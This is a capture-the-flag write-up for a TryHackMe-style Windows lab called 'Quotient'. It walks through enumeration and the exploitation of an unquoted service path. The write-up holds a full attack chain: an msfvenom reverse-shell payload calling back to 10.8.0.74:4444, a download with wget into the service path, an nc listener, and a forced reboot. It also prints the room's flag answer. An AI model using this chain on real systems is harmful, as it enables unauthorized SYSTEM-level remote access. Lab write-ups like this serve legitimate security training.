Skip to content

Latest commit

 

History

History
92 lines (59 loc) · 2.47 KB

quotient.md

File metadata and controls

92 lines (59 loc) · 2.47 KB

Grammar is important. Don't believe me? Just see what happens when you forget punctuation.

Connecting

use Remmina to log into the machine

image

Enumeration

open cmd and start enumerate

systeminfo

image

net user

image

Check whoami /priv. This can reveal some very easy ways to escalate, but we're unlucky this time:

image

list all services which contains no space (very useful with abnormal)

wmic service get name,displayname,pathname,startmode |findstr /i "auto" |findstr /i /v "c:\windows\\" |findstr /i /v """

image

Get some more information about the service

sc qc "Development Service"

image

This path is definetly unquoted. The Start Type is AUTO_START, so we have to look at this again

Upon boot (because of Start Type: AUTO_START) this service searches for the exe in this order:

  • C:\Program.exe
  • C:\Program Files\Development.exe
  • C:\Program Files\Development Files\Devservice.exe
  • C:\Program Files\Development Files\Devservice Files\Service.exe

Generate a payload

msfvenom -p windows/x64/shell_reverse_tcp LHOST=10.8.0.74 LPORT=4444 -f exe -o Devservice.exe
python3 -m http.server
cd C:\Program Files\Development Files
powershell
wget http://10.8.0.74:8000/Devservice.exe -OutFile Devservice.exe
dir

image

open listener

nc -vlnp 4444

restart the machine

shutdown /r /t 0

after reboot, when it turn on back, you will get the shell

image

image

Flag flag.txt
Answer THM{USPE_SUCCESS}